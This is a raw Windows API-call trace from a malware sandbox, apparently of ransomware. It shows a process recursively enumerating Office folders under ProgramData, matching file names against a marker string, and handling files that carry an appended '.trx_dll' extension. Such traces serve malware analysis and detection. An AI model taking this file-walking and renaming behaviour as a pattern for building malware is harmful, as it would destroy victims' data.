[0121.454] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0121.454] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0121.454] CloseHandle (hObject=0x10c) returned 1
[0121.454] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0121.454] GetProcessHeap () returned 0x810000
[0121.454] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0121.454] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1
[0121.454] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE") returned 35
[0121.454] GetProcessHeap () returned 0x810000
[0121.454] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0121.454] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\*") returned 37
[0121.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0121.477] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\.") returned 37
[0121.477] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.477] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\..") returned 38
[0121.477] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1
[0121.477] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico") returned 52
[0121.477] StrStrIW (lpFirst="AssetLibrary.ico", lpSrch="SDfghjkl") returned 0x0
[0121.477] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1
[0121.477] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico") returned 58
[0121.477] StrStrIW (lpFirst="DocumentRepository.ico", lpSrch="SDfghjkl") returned 0x0
[0121.477] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
[0121.477] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico") returned 53
[0121.477] StrStrIW (lpFirst="MySharePoints.ico", lpSrch="SDfghjkl") returned 0x0
[0121.477] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1
[0121.477] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico") returned 46
[0121.478] StrStrIW (lpFirst="MySite.ico", lpSrch="SDfghjkl") returned 0x0
[0121.478] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1
[0121.478] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned 60
[0121.478] StrStrIW (lpFirst="SharePointPortalSite.ico", lpSrch="SDfghjkl") returned 0x0
[0121.478] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1
[0121.478] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned 58
[0121.478] StrStrIW (lpFirst="SharePointTeamSite.ico", lpSrch="SDfghjkl") returned 0x0
[0121.478] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1
[0121.478] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned 46
[0121.478] GetProcessHeap () returned 0x810000
[0121.478] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0121.478] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*") returned 48
[0121.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0121.870] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\.") returned 48
[0121.872] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.878] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\..") returned 49
[0121.882] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
[0121.886] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned 51
[0121.888] GetProcessHeap () returned 0x810000
[0121.890] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0121.892] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned 53
[0121.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0121.943] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\.") returned 53
[0121.943] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.964] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\..") returned 54
[0121.965] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
[0121.968] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned 72
[0121.971] StrStrIW (lpFirst="ENVELOPR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0121.973] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1
[0121.975] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned 72
[0121.979] StrStrIW (lpFirst="GRINTL32.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0121.980] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1
[0121.981] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned 73
[0121.983] StrStrIW (lpFirst="GRINTL32.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0121.987] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1
[0121.988] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned 69
[0121.990] StrStrIW (lpFirst="MAPIR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0121.991] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1
[0121.993] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned 72
[0121.995] StrStrIW (lpFirst="MOR6INT.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0121.997] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1
[0121.999] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned 71
[0122.001] StrStrIW (lpFirst="MSOINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.006] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1
[0122.009] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned 72
[0122.010] StrStrIW (lpFirst="MSOINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.012] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1
[0122.013] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned 71
[0122.016] StrStrIW (lpFirst="OMSINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.020] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1
[0122.024] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned 70
[0122.026] StrStrIW (lpFirst="ONINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.028] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1
[0122.060] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned 71
[0122.064] StrStrIW (lpFirst="ONINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.069] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1
[0122.073] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned 72
[0122.074] StrStrIW (lpFirst="OUTLLIBR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.076] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned 73
[0122.153] StrStrIW (lpFirst="OUTLLIBR.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned 71
[0122.153] StrStrIW (lpFirst="OUTLWVW.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned 70
[0122.153] StrStrIW (lpFirst="PPINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
